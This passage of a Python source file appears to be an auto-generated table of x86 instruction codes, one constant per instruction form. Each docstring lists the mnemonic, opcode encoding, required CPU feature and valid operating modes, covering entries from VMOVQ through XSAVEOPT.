``VMOVQ r/m64, xmm1``
``VEX.128.66.0F.W1 7E /r``
``AVX``
``64-bit``
"""
EVEX_VMOVD_RM32_XMM: int = 1824
"""
``VMOVD r/m32, xmm1``
``EVEX.128.66.0F.W0 7E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVQ_RM64_XMM: int = 1825
"""
``VMOVQ r/m64, xmm1``
``EVEX.128.66.0F.W1 7E /r``
``AVX512F``
``64-bit``
"""
MOVQ_XMM_XMMM64: int = 1826
"""
``MOVQ xmm1, xmm2/m64``
``F3 0F 7E /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVQ_XMM_XMMM64: int = 1827
"""
``VMOVQ xmm1, xmm2/m64``
``VEX.128.F3.0F.WIG 7E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVQ_XMM_XMMM64: int = 1828
"""
``VMOVQ xmm1, xmm2/m64``
``EVEX.128.F3.0F.W1 7E /r``
``AVX512F``
``16/32/64-bit``
"""
MOVQ_MMM64_MM: int = 1829
"""
``MOVQ mm/m64, mm``
``NP 0F 7F /r``
``MMX``
``16/32/64-bit``
"""
MOVDQA_XMMM128_XMM: int = 1830
"""
``MOVDQA xmm2/m128, xmm1``
``66 0F 7F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVDQA_XMMM128_XMM: int = 1831
"""
``VMOVDQA xmm2/m128, xmm1``
``VEX.128.66.0F.WIG 7F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVDQA_YMMM256_YMM: int = 1832
"""
``VMOVDQA ymm2/m256, ymm1``
``VEX.256.66.0F.WIG 7F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_XMMM128_K1Z_XMM: int = 1833
"""
``VMOVDQA32 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.66.0F.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_YMMM256_K1Z_YMM: int = 1834
"""
``VMOVDQA32 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.66.0F.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_ZMMM512_K1Z_ZMM: int = 1835
"""
``VMOVDQA32 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.66.0F.W0 7F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_XMMM128_K1Z_XMM: int = 1836
"""
``VMOVDQA64 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.66.0F.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_YMMM256_K1Z_YMM: int = 1837
"""
``VMOVDQA64 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.66.0F.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_ZMMM512_K1Z_ZMM: int = 1838
"""
``VMOVDQA64 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.66.0F.W1 7F /r``
``AVX512F``
``16/32/64-bit``
"""
MOVDQU_XMMM128_XMM: int = 1839
"""
``MOVDQU xmm2/m128, xmm1``
``F3 0F 7F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVDQU_XMMM128_XMM: int = 1840
"""
``VMOVDQU xmm2/m128, xmm1``
``VEX.128.F3.0F.WIG 7F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVDQU_YMMM256_YMM: int = 1841
"""
``VMOVDQU ymm2/m256, ymm1``
``VEX.256.F3.0F.WIG 7F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_XMMM128_K1Z_XMM: int = 1842
"""
``VMOVDQU32 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.F3.0F.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_YMMM256_K1Z_YMM: int = 1843
"""
``VMOVDQU32 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.F3.0F.W0 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_ZMMM512_K1Z_ZMM: int = 1844
"""
``VMOVDQU32 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.F3.0F.W0 7F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_XMMM128_K1Z_XMM: int = 1845
"""
``VMOVDQU64 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.F3.0F.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_YMMM256_K1Z_YMM: int = 1846
"""
``VMOVDQU64 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.F3.0F.W1 7F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_ZMMM512_K1Z_ZMM: int = 1847
"""
``VMOVDQU64 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.F3.0F.W1 7F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_XMMM128_K1Z_XMM: int = 1848
"""
``VMOVDQU8 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.F2.0F.W0 7F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_YMMM256_K1Z_YMM: int = 1849
"""
``VMOVDQU8 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.F2.0F.W0 7F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_ZMMM512_K1Z_ZMM: int = 1850
"""
``VMOVDQU8 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.F2.0F.W0 7F /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_XMMM128_K1Z_XMM: int = 1851
"""
``VMOVDQU16 xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.F2.0F.W1 7F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_YMMM256_K1Z_YMM: int = 1852
"""
``VMOVDQU16 ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.F2.0F.W1 7F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_ZMMM512_K1Z_ZMM: int = 1853
"""
``VMOVDQU16 zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.F2.0F.W1 7F /r``
``AVX512BW``
``16/32/64-bit``
"""
JO_REL16: int = 1854
"""
``JO rel16``
``o16 0F 80 cw``
``386+``
``16/32/64-bit``
"""
JO_REL32_32: int = 1855
"""
``JO rel32``
``o32 0F 80 cd``
``386+``
``16/32-bit``
"""
JO_REL32_64: int = 1856
"""
``JO rel32``
``o64 0F 80 cd``
``X64``
``64-bit``
"""
JNO_REL16: int = 1857
"""
``JNO rel16``
``o16 0F 81 cw``
``386+``
``16/32/64-bit``
"""
JNO_REL32_32: int = 1858
"""
``JNO rel32``
``o32 0F 81 cd``
``386+``
``16/32-bit``
"""
JNO_REL32_64: int = 1859
"""
``JNO rel32``
``o64 0F 81 cd``
``X64``
``64-bit``
"""
JB_REL16: int = 1860
"""
``JB rel16``
``o16 0F 82 cw``
``386+``
``16/32/64-bit``
"""
JB_REL32_32: int = 1861
"""
``JB rel32``
``o32 0F 82 cd``
``386+``
``16/32-bit``
"""
JB_REL32_64: int = 1862
"""
``JB rel32``
``o64 0F 82 cd``
``X64``
``64-bit``
"""
JAE_REL16: int = 1863
"""
``JAE rel16``
``o16 0F 83 cw``
``386+``
``16/32/64-bit``
"""
JAE_REL32_32: int = 1864
"""
``JAE rel32``
``o32 0F 83 cd``
``386+``
``16/32-bit``
"""
JAE_REL32_64: int = 1865
"""
``JAE rel32``
``o64 0F 83 cd``
``X64``
``64-bit``
"""
JE_REL16: int = 1866
"""
``JE rel16``
``o16 0F 84 cw``
``386+``
``16/32/64-bit``
"""
JE_REL32_32: int = 1867
"""
``JE rel32``
``o32 0F 84 cd``
``386+``
``16/32-bit``
"""
JE_REL32_64: int = 1868
"""
``JE rel32``
``o64 0F 84 cd``
``X64``
``64-bit``
"""
JNE_REL16: int = 1869
"""
``JNE rel16``
``o16 0F 85 cw``
``386+``
``16/32/64-bit``
"""
JNE_REL32_32: int = 1870
"""
``JNE rel32``
``o32 0F 85 cd``
``386+``
``16/32-bit``
"""
JNE_REL32_64: int = 1871
"""
``JNE rel32``
``o64 0F 85 cd``
``X64``
``64-bit``
"""
JBE_REL16: int = 1872
"""
``JBE rel16``
``o16 0F 86 cw``
``386+``
``16/32/64-bit``
"""
JBE_REL32_32: int = 1873
"""
``JBE rel32``
``o32 0F 86 cd``
``386+``
``16/32-bit``
"""
JBE_REL32_64: int = 1874
"""
``JBE rel32``
``o64 0F 86 cd``
``X64``
``64-bit``
"""
JA_REL16: int = 1875
"""
``JA rel16``
``o16 0F 87 cw``
``386+``
``16/32/64-bit``
"""
JA_REL32_32: int = 1876
"""
``JA rel32``
``o32 0F 87 cd``
``386+``
``16/32-bit``
"""
JA_REL32_64: int = 1877
"""
``JA rel32``
``o64 0F 87 cd``
``X64``
``64-bit``
"""
JS_REL16: int = 1878
"""
``JS rel16``
``o16 0F 88 cw``
``386+``
``16/32/64-bit``
"""
JS_REL32_32: int = 1879
"""
``JS rel32``
``o32 0F 88 cd``
``386+``
``16/32-bit``
"""
JS_REL32_64: int = 1880
"""
``JS rel32``
``o64 0F 88 cd``
``X64``
``64-bit``
"""
JNS_REL16: int = 1881
"""
``JNS rel16``
``o16 0F 89 cw``
``386+``
``16/32/64-bit``
"""
JNS_REL32_32: int = 1882
"""
``JNS rel32``
``o32 0F 89 cd``
``386+``
``16/32-bit``
"""
JNS_REL32_64: int = 1883
"""
``JNS rel32``
``o64 0F 89 cd``
``X64``
``64-bit``
"""
JP_REL16: int = 1884
"""
``JP rel16``
``o16 0F 8A cw``
``386+``
``16/32/64-bit``
"""
JP_REL32_32: int = 1885
"""
``JP rel32``
``o32 0F 8A cd``
``386+``
``16/32-bit``
"""
JP_REL32_64: int = 1886
"""
``JP rel32``
``o64 0F 8A cd``
``X64``
``64-bit``
"""
JNP_REL16: int = 1887
"""
``JNP rel16``
``o16 0F 8B cw``
``386+``
``16/32/64-bit``
"""
JNP_REL32_32: int = 1888
"""
``JNP rel32``
``o32 0F 8B cd``
``386+``
``16/32-bit``
"""
JNP_REL32_64: int = 1889
"""
``JNP rel32``
``o64 0F 8B cd``
``X64``
``64-bit``
"""
JL_REL16: int = 1890
"""
``JL rel16``
``o16 0F 8C cw``
``386+``
``16/32/64-bit``
"""
JL_REL32_32: int = 1891
"""
``JL rel32``
``o32 0F 8C cd``
``386+``
``16/32-bit``
"""
JL_REL32_64: int = 1892
"""
``JL rel32``
``o64 0F 8C cd``
``X64``
``64-bit``
"""
JGE_REL16: int = 1893
"""
``JGE rel16``
``o16 0F 8D cw``
``386+``
``16/32/64-bit``
"""
JGE_REL32_32: int = 1894
"""
``JGE rel32``
``o32 0F 8D cd``
``386+``
``16/32-bit``
"""
JGE_REL32_64: int = 1895
"""
``JGE rel32``
``o64 0F 8D cd``
``X64``
``64-bit``
"""
JLE_REL16: int = 1896
"""
``JLE rel16``
``o16 0F 8E cw``
``386+``
``16/32/64-bit``
"""
JLE_REL32_32: int = 1897
"""
``JLE rel32``
``o32 0F 8E cd``
``386+``
``16/32-bit``
"""
JLE_REL32_64: int = 1898
"""
``JLE rel32``
``o64 0F 8E cd``
``X64``
``64-bit``
"""
JG_REL16: int = 1899
"""
``JG rel16``
``o16 0F 8F cw``
``386+``
``16/32/64-bit``
"""
JG_REL32_32: int = 1900
"""
``JG rel32``
``o32 0F 8F cd``
``386+``
``16/32-bit``
"""
JG_REL32_64: int = 1901
"""
``JG rel32``
``o64 0F 8F cd``
``X64``
``64-bit``
"""
SETO_RM8: int = 1902
"""
``SETO r/m8``
``0F 90 /r``
``386+``
``16/32/64-bit``
"""
SETNO_RM8: int = 1903
"""
``SETNO r/m8``
``0F 91 /r``
``386+``
``16/32/64-bit``
"""
SETB_RM8: int = 1904
"""
``SETB r/m8``
``0F 92 /r``
``386+``
``16/32/64-bit``
"""
SETAE_RM8: int = 1905
"""
``SETAE r/m8``
``0F 93 /r``
``386+``
``16/32/64-bit``
"""
SETE_RM8: int = 1906
"""
``SETE r/m8``
``0F 94 /r``
``386+``
``16/32/64-bit``
"""
SETNE_RM8: int = 1907
"""
``SETNE r/m8``
``0F 95 /r``
``386+``
``16/32/64-bit``
"""
SETBE_RM8: int = 1908
"""
``SETBE r/m8``
``0F 96 /r``
``386+``
``16/32/64-bit``
"""
SETA_RM8: int = 1909
"""
``SETA r/m8``
``0F 97 /r``
``386+``
``16/32/64-bit``
"""
SETS_RM8: int = 1910
"""
``SETS r/m8``
``0F 98 /r``
``386+``
``16/32/64-bit``
"""
SETNS_RM8: int = 1911
"""
``SETNS r/m8``
``0F 99 /r``
``386+``
``16/32/64-bit``
"""
SETP_RM8: int = 1912
"""
``SETP r/m8``
``0F 9A /r``
``386+``
``16/32/64-bit``
"""
SETNP_RM8: int = 1913
"""
``SETNP r/m8``
``0F 9B /r``
``386+``
``16/32/64-bit``
"""
SETL_RM8: int = 1914
"""
``SETL r/m8``
``0F 9C /r``
``386+``
``16/32/64-bit``
"""
SETGE_RM8: int = 1915
"""
``SETGE r/m8``
``0F 9D /r``
``386+``
``16/32/64-bit``
"""
SETLE_RM8: int = 1916
"""
``SETLE r/m8``
``0F 9E /r``
``386+``
``16/32/64-bit``
"""
SETG_RM8: int = 1917
"""
``SETG r/m8``
``0F 9F /r``
``386+``
``16/32/64-bit``
"""
VEX_KMOVW_KR_KM16: int = 1918
"""
``KMOVW k1, k2/m16``
``VEX.L0.0F.W0 90 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KMOVQ_KR_KM64: int = 1919
"""
``KMOVQ k1, k2/m64``
``VEX.L0.0F.W1 90 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVB_KR_KM8: int = 1920
"""
``KMOVB k1, k2/m8``
``VEX.L0.66.0F.W0 90 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KMOVD_KR_KM32: int = 1921
"""
``KMOVD k1, k2/m32``
``VEX.L0.66.0F.W1 90 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVW_M16_KR: int = 1922
"""
``KMOVW m16, k1``
``VEX.L0.0F.W0 91 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KMOVQ_M64_KR: int = 1923
"""
``KMOVQ m64, k1``
``VEX.L0.0F.W1 91 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVB_M8_KR: int = 1924
"""
``KMOVB m8, k1``
``VEX.L0.66.0F.W0 91 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KMOVD_M32_KR: int = 1925
"""
``KMOVD m32, k1``
``VEX.L0.66.0F.W1 91 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVW_KR_R32: int = 1926
"""
``KMOVW k1, r32``
``VEX.L0.0F.W0 92 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KMOVB_KR_R32: int = 1927
"""
``KMOVB k1, r32``
``VEX.L0.66.0F.W0 92 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KMOVD_KR_R32: int = 1928
"""
``KMOVD k1, r32``
``VEX.L0.F2.0F.W0 92 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVQ_KR_R64: int = 1929
"""
``KMOVQ k1, r64``
``VEX.L0.F2.0F.W1 92 /r``
``AVX512BW``
``64-bit``
"""
VEX_KMOVW_R32_KR: int = 1930
"""
``KMOVW r32, k1``
``VEX.L0.0F.W0 93 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KMOVB_R32_KR: int = 1931
"""
``KMOVB r32, k1``
``VEX.L0.66.0F.W0 93 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KMOVD_R32_KR: int = 1932
"""
``KMOVD r32, k1``
``VEX.L0.F2.0F.W0 93 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KMOVQ_R64_KR: int = 1933
"""
``KMOVQ r64, k1``
``VEX.L0.F2.0F.W1 93 /r``
``AVX512BW``
``64-bit``
"""
VEX_KORTESTW_KR_KR: int = 1934
"""
``KORTESTW k1, k2``
``VEX.L0.0F.W0 98 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_KORTESTQ_KR_KR: int = 1935
"""
``KORTESTQ k1, k2``
``VEX.L0.0F.W1 98 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KORTESTB_KR_KR: int = 1936
"""
``KORTESTB k1, k2``
``VEX.L0.66.0F.W0 98 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KORTESTD_KR_KR: int = 1937
"""
``KORTESTD k1, k2``
``VEX.L0.66.0F.W1 98 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KTESTW_KR_KR: int = 1938
"""
``KTESTW k1, k2``
``VEX.L0.0F.W0 99 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KTESTQ_KR_KR: int = 1939
"""
``KTESTQ k1, k2``
``VEX.L0.0F.W1 99 /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_KTESTB_KR_KR: int = 1940
"""
``KTESTB k1, k2``
``VEX.L0.66.0F.W0 99 /r``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_KTESTD_KR_KR: int = 1941
"""
``KTESTD k1, k2``
``VEX.L0.66.0F.W1 99 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUSHW_FS: int = 1942
"""
``PUSH FS``
``o16 0F A0``
``386+``
``16/32/64-bit``
"""
PUSHD_FS: int = 1943
"""
``PUSH FS``
``o32 0F A0``
``386+``
``16/32-bit``
"""
PUSHQ_FS: int = 1944
"""
``PUSH FS``
``o64 0F A0``
``X64``
``64-bit``
"""
POPW_FS: int = 1945
"""
``POP FS``
``o16 0F A1``
``386+``
``16/32/64-bit``
"""
POPD_FS: int = 1946
"""
``POP FS``
``o32 0F A1``
``386+``
``16/32-bit``
"""
POPQ_FS: int = 1947
"""
``POP FS``
``o64 0F A1``
``X64``
``64-bit``
"""
CPUID: int = 1948
"""
``CPUID``
``0F A2``
``CPUID``
``16/32/64-bit``
"""
BT_RM16_R16: int = 1949
"""
``BT r/m16, r16``
``o16 0F A3 /r``
``386+``
``16/32/64-bit``
"""
BT_RM32_R32: int = 1950
"""
``BT r/m32, r32``
``o32 0F A3 /r``
``386+``
``16/32/64-bit``
"""
BT_RM64_R64: int = 1951
"""
``BT r/m64, r64``
``o64 0F A3 /r``
``X64``
``64-bit``
"""
SHLD_RM16_R16_IMM8: int = 1952
"""
``SHLD r/m16, r16, imm8``
``o16 0F A4 /r ib``
``386+``
``16/32/64-bit``
"""
SHLD_RM32_R32_IMM8: int = 1953
"""
``SHLD r/m32, r32, imm8``
``o32 0F A4 /r ib``
``386+``
``16/32/64-bit``
"""
SHLD_RM64_R64_IMM8: int = 1954
"""
``SHLD r/m64, r64, imm8``
``o64 0F A4 /r ib``
``X64``
``64-bit``
"""
SHLD_RM16_R16_CL: int = 1955
"""
``SHLD r/m16, r16, CL``
``o16 0F A5 /r``
``386+``
``16/32/64-bit``
"""
SHLD_RM32_R32_CL: int = 1956
"""
``SHLD r/m32, r32, CL``
``o32 0F A5 /r``
``386+``
``16/32/64-bit``
"""
SHLD_RM64_R64_CL: int = 1957
"""
``SHLD r/m64, r64, CL``
``o64 0F A5 /r``
``X64``
``64-bit``
"""
MONTMUL_16: int = 1958
"""
``MONTMUL``
``a16 F3 0F A6 C0``
``PADLOCK_PMM``
``16/32-bit``
"""
MONTMUL_32: int = 1959
"""
``MONTMUL``
``a32 F3 0F A6 C0``
``PADLOCK_PMM``
``16/32/64-bit``
"""
MONTMUL_64: int = 1960
"""
``MONTMUL``
``a64 F3 0F A6 C0``
``PADLOCK_PMM``
``64-bit``
"""
XSHA1_16: int = 1961
"""
``XSHA1``
``a16 F3 0F A6 C8``
``PADLOCK_PHE``
``16/32-bit``
"""
XSHA1_32: int = 1962
"""
``XSHA1``
``a32 F3 0F A6 C8``
``PADLOCK_PHE``
``16/32/64-bit``
"""
XSHA1_64: int = 1963
"""
``XSHA1``
``a64 F3 0F A6 C8``
``PADLOCK_PHE``
``64-bit``
"""
XSHA256_16: int = 1964
"""
``XSHA256``
``a16 F3 0F A6 D0``
``PADLOCK_PHE``
``16/32-bit``
"""
XSHA256_32: int = 1965
"""
``XSHA256``
``a32 F3 0F A6 D0``
``PADLOCK_PHE``
``16/32/64-bit``
"""
XSHA256_64: int = 1966
"""
``XSHA256``
``a64 F3 0F A6 D0``
``PADLOCK_PHE``
``64-bit``
"""
XBTS_R16_RM16: int = 1967
"""
``XBTS r16, r/m16``
``o16 0F A6 /r``
``386 A0``
``16/32-bit``
"""
XBTS_R32_RM32: int = 1968
"""
``XBTS r32, r/m32``
``o32 0F A6 /r``
``386 A0``
``16/32-bit``
"""
XSTORE_16: int = 1969
"""
``XSTORE``
``a16 0F A7 C0``
``PADLOCK_RNG``
``16/32-bit``
"""
XSTORE_32: int = 1970
"""
``XSTORE``
``a32 0F A7 C0``
``PADLOCK_RNG``
``16/32/64-bit``
"""
XSTORE_64: int = 1971
"""
``XSTORE``
``a64 0F A7 C0``
``PADLOCK_RNG``
``64-bit``
"""
XCRYPTECB_16: int = 1972
"""
``XCRYPTECB``
``a16 F3 0F A7 C8``
``PADLOCK_ACE``
``16/32-bit``
"""
XCRYPTECB_32: int = 1973
"""
``XCRYPTECB``
``a32 F3 0F A7 C8``
``PADLOCK_ACE``
``16/32/64-bit``
"""
XCRYPTECB_64: int = 1974
"""
``XCRYPTECB``
``a64 F3 0F A7 C8``
``PADLOCK_ACE``
``64-bit``
"""
XCRYPTCBC_16: int = 1975
"""
``XCRYPTCBC``
``a16 F3 0F A7 D0``
``PADLOCK_ACE``
``16/32-bit``
"""
XCRYPTCBC_32: int = 1976
"""
``XCRYPTCBC``
``a32 F3 0F A7 D0``
``PADLOCK_ACE``
``16/32/64-bit``
"""
XCRYPTCBC_64: int = 1977
"""
``XCRYPTCBC``
``a64 F3 0F A7 D0``
``PADLOCK_ACE``
``64-bit``
"""
XCRYPTCTR_16: int = 1978
"""
``XCRYPTCTR``
``a16 F3 0F A7 D8``
``PADLOCK_ACE``
``16/32-bit``
"""
XCRYPTCTR_32: int = 1979
"""
``XCRYPTCTR``
``a32 F3 0F A7 D8``
``PADLOCK_ACE``
``16/32/64-bit``
"""
XCRYPTCTR_64: int = 1980
"""
``XCRYPTCTR``
``a64 F3 0F A7 D8``
``PADLOCK_ACE``
``64-bit``
"""
XCRYPTCFB_16: int = 1981
"""
``XCRYPTCFB``
``a16 F3 0F A7 E0``
``PADLOCK_ACE``
``16/32-bit``
"""
XCRYPTCFB_32: int = 1982
"""
``XCRYPTCFB``
``a32 F3 0F A7 E0``
``PADLOCK_ACE``
``16/32/64-bit``
"""
XCRYPTCFB_64: int = 1983
"""
``XCRYPTCFB``
``a64 F3 0F A7 E0``
``PADLOCK_ACE``
``64-bit``
"""
XCRYPTOFB_16: int = 1984
"""
``XCRYPTOFB``
``a16 F3 0F A7 E8``
``PADLOCK_ACE``
``16/32-bit``
"""
XCRYPTOFB_32: int = 1985
"""
``XCRYPTOFB``
``a32 F3 0F A7 E8``
``PADLOCK_ACE``
``16/32/64-bit``
"""
XCRYPTOFB_64: int = 1986
"""
``XCRYPTOFB``
``a64 F3 0F A7 E8``
``PADLOCK_ACE``
``64-bit``
"""
IBTS_RM16_R16: int = 1987
"""
``IBTS r/m16, r16``
``o16 0F A7 /r``
``386 A0``
``16/32-bit``
"""
IBTS_RM32_R32: int = 1988
"""
``IBTS r/m32, r32``
``o32 0F A7 /r``
``386 A0``
``16/32-bit``
"""
CMPXCHG486_RM8_R8: int = 1989
"""
``CMPXCHG r/m8, r8``
``0F A6 /r``
``486 A``
``16/32-bit``
"""
CMPXCHG486_RM16_R16: int = 1990
"""
``CMPXCHG r/m16, r16``
``o16 0F A7 /r``
``486 A``
``16/32-bit``
"""
CMPXCHG486_RM32_R32: int = 1991
"""
``CMPXCHG r/m32, r32``
``o32 0F A7 /r``
``486 A``
``16/32-bit``
"""
PUSHW_GS: int = 1992
"""
``PUSH GS``
``o16 0F A8``
``386+``
``16/32/64-bit``
"""
PUSHD_GS: int = 1993
"""
``PUSH GS``
``o32 0F A8``
``386+``
``16/32-bit``
"""
PUSHQ_GS: int = 1994
"""
``PUSH GS``
``o64 0F A8``
``X64``
``64-bit``
"""
POPW_GS: int = 1995
"""
``POP GS``
``o16 0F A9``
``386+``
``16/32/64-bit``
"""
POPD_GS: int = 1996
"""
``POP GS``
``o32 0F A9``
``386+``
``16/32-bit``
"""
POPQ_GS: int = 1997
"""
``POP GS``
``o64 0F A9``
``X64``
``64-bit``
"""
RSM: int = 1998
"""
``RSM``
``0F AA``
``386+``
``16/32/64-bit``
"""
BTS_RM16_R16: int = 1999
"""
``BTS r/m16, r16``
``o16 0F AB /r``
``386+``
``16/32/64-bit``
"""
BTS_RM32_R32: int = 2000
"""
``BTS r/m32, r32``
``o32 0F AB /r``
``386+``
``16/32/64-bit``
"""
BTS_RM64_R64: int = 2001
"""
``BTS r/m64, r64``
``o64 0F AB /r``
``X64``
``64-bit``
"""
SHRD_RM16_R16_IMM8: int = 2002
"""
``SHRD r/m16, r16, imm8``
``o16 0F AC /r ib``
``386+``
``16/32/64-bit``
"""
SHRD_RM32_R32_IMM8: int = 2003
"""
``SHRD r/m32, r32, imm8``
``o32 0F AC /r ib``
``386+``
``16/32/64-bit``
"""
SHRD_RM64_R64_IMM8: int = 2004
"""
``SHRD r/m64, r64, imm8``
``o64 0F AC /r ib``
``X64``
``64-bit``
"""
SHRD_RM16_R16_CL: int = 2005
"""
``SHRD r/m16, r16, CL``
``o16 0F AD /r``
``386+``
``16/32/64-bit``
"""
SHRD_RM32_R32_CL: int = 2006
"""
``SHRD r/m32, r32, CL``
``o32 0F AD /r``
``386+``
``16/32/64-bit``
"""
SHRD_RM64_R64_CL: int = 2007
"""
``SHRD r/m64, r64, CL``
``o64 0F AD /r``
``X64``
``64-bit``
"""
FXSAVE_M512BYTE: int = 2008
"""
``FXSAVE m512byte``
``NP 0F AE /0``
``FXSR``
``16/32/64-bit``
"""
FXSAVE64_M512BYTE: int = 2009
"""
``FXSAVE64 m512byte``
``NP o64 0F AE /0``
``FXSR``
``64-bit``
"""
RDFSBASE_R32: int = 2010
"""
``RDFSBASE r32``
``F3 0F AE /0``
``FSGSBASE``
``64-bit``
"""
RDFSBASE_R64: int = 2011
"""
``RDFSBASE r64``
``F3 o64 0F AE /0``
``FSGSBASE``
``64-bit``
"""
FXRSTOR_M512BYTE: int = 2012
"""
``FXRSTOR m512byte``
``NP 0F AE /1``
``FXSR``
``16/32/64-bit``
"""
FXRSTOR64_M512BYTE: int = 2013
"""
``FXRSTOR64 m512byte``
``NP o64 0F AE /1``
``FXSR``
``64-bit``
"""
RDGSBASE_R32: int = 2014
"""
``RDGSBASE r32``
``F3 0F AE /1``
``FSGSBASE``
``64-bit``
"""
RDGSBASE_R64: int = 2015
"""
``RDGSBASE r64``
``F3 o64 0F AE /1``
``FSGSBASE``
``64-bit``
"""
LDMXCSR_M32: int = 2016
"""
``LDMXCSR m32``
``NP 0F AE /2``
``SSE``
``16/32/64-bit``
"""
WRFSBASE_R32: int = 2017
"""
``WRFSBASE r32``
``F3 0F AE /2``
``FSGSBASE``
``64-bit``
"""
WRFSBASE_R64: int = 2018
"""
``WRFSBASE r64``
``F3 o64 0F AE /2``
``FSGSBASE``
``64-bit``
"""
VEX_VLDMXCSR_M32: int = 2019
"""
``VLDMXCSR m32``
``VEX.LZ.0F.WIG AE /2``
``AVX``
``16/32/64-bit``
"""
STMXCSR_M32: int = 2020
"""
``STMXCSR m32``
``NP 0F AE /3``
``SSE``
``16/32/64-bit``
"""
WRGSBASE_R32: int = 2021
"""
``WRGSBASE r32``
``F3 0F AE /3``
``FSGSBASE``
``64-bit``
"""
WRGSBASE_R64: int = 2022
"""
``WRGSBASE r64``
``F3 o64 0F AE /3``
``FSGSBASE``
``64-bit``
"""
VEX_VSTMXCSR_M32: int = 2023
"""
``VSTMXCSR m32``
``VEX.LZ.0F.WIG AE /3``
``AVX``
``16/32/64-bit``
"""
XSAVE_MEM: int = 2024
"""
``XSAVE mem``
``NP 0F AE /4``
``XSAVE``
``16/32/64-bit``
"""
XSAVE64_MEM: int = 2025
"""
``XSAVE64 mem``
``NP o64 0F AE /4``
``XSAVE``
``64-bit``
"""
PTWRITE_RM32: int = 2026
"""
``PTWRITE r/m32``
``F3 0F AE /4``
``PTWRITE``
``16/32/64-bit``
"""
PTWRITE_RM64: int = 2027
"""
``PTWRITE r/m64``
``F3 o64 0F AE /4``
``PTWRITE``
``64-bit``
"""
XRSTOR_MEM: int = 2028
"""
``XRSTOR mem``
``NP 0F AE /5``
``XSAVE``
``16/32/64-bit``
"""
XRSTOR64_MEM: int = 2029
"""
``XRSTOR64 mem``
``NP o64 0F AE /5``
``XSAVE``
``64-bit``
"""
INCSSPD_R32: int = 2030
"""
``INCSSPD r32``
``F3 0F AE /5``
``CET_SS``
``16/32/64-bit``
"""
INCSSPQ_R64: int = 2031
"""
``INCSSPQ r64``
``F3 o64 0F AE /5``
``CET_SS``
``64-bit``
"""
XSAVEOPT_MEM: int = 2032
"""
``XSAVEOPT mem``
``NP 0F AE /6``
``XSAVEOPT``
``16/32/64-bit``
"""
XSAVEOPT64_MEM: int = 2033
"""
``XSAVEOPT64 mem``
``NP o64 0F AE /6``
